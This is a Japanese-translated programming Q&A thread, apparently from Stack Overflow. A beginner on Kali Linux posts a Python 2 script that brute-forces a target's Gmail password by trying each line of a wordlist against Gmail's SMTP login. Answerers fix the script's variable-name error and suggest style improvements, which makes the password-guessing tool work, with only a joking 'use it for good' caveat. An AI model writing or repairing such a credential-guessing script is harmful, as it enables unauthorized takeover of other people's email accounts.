0

私はプログラミングが初めてですが、次のスクリプトを作成しようとしています。私が間違っていることを教えてもらえますか?

import smtplib

smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
smtpserver.ehlo()
smtpserver.starttls()

user = raw_input("Enter the target's email address: ")
Passwfile = raw_input("Enter the password file name: ")
Passwfile = open(passwfile, "r")

for password in passwfile:
        try:
                smtpserver.login(user, password)
                print "[+] Password Found: %s" % password
                break;
        except smtplib.SMTPAuthenticationError:
                print "[!] Password Incorrect: %s" % password

wordlist.lst ファイルを追加すると、端末に次のようなエラー メッセージが表示されます。

File "gmail.py", line 9, in <module>
Passwfile = open(passwfile, "r"
NameError: name 'passwfile' is not defined

どなたか専門家からアドバイスをいただけないでしょうか。Kali Linux で Python 2.7.9 を使用しています (Python 2 がプリインストールされていたので、Python 3 を試す代わりにそれを学ぶことにしました)。

4

2 に答える 2

3

という名前の変数がpasswfile定義されていません。ただし、PasswfilePython では識別子の大文字と小文字が区別されるため、名前が付けられたもの (大文字に注意してください) を使用する必要があります。

Python では、変数名にすべて小文字を使用するのが慣例であることに注意してください。通常、大文字の識別子はクラス名に使用されます。したがって、コードは次のようになります。

user = raw_input("Enter the target's email address: ")
password_filename = raw_input("Enter the password file name: ")
password_file = open(password_filename, "r")

for password in password_file:

例えば。

識別子やその他のスタイルの問題についての詳細は、PEP 8を参照してください。ここでは、変数がアンダースコアで区切られた小文字の単語であることを推奨しているため、例よりも優先password_filepasswfileれます。

withもう 1 つの役立つヒントは、次のステートメントを使用して、コンテキスト マネージャー内でファイルを開くことです。

user = raw_input("Enter the target's email address: ")
password_filename = raw_input("Enter the password file name: ")

with open(password_filename) as password_file:
    for password in password_file:
        # nasty stuff here

コンテキスト マネージャーは、たとえば未処理の例外が発生した場合に、ファイルが常に適切に閉じられるようにします。

最後に、これを悪ではなく善のために使用してください:)

于 2015-10-11T00:47:38.303 に答える
0

ラインをチェック

Passwfile = raw_input("Enter the password file name: ")

ここでraw_inputは、変数 Passwfile (大文字の P) に格納しています。

于 2015-10-11T00:47:47.387 に答える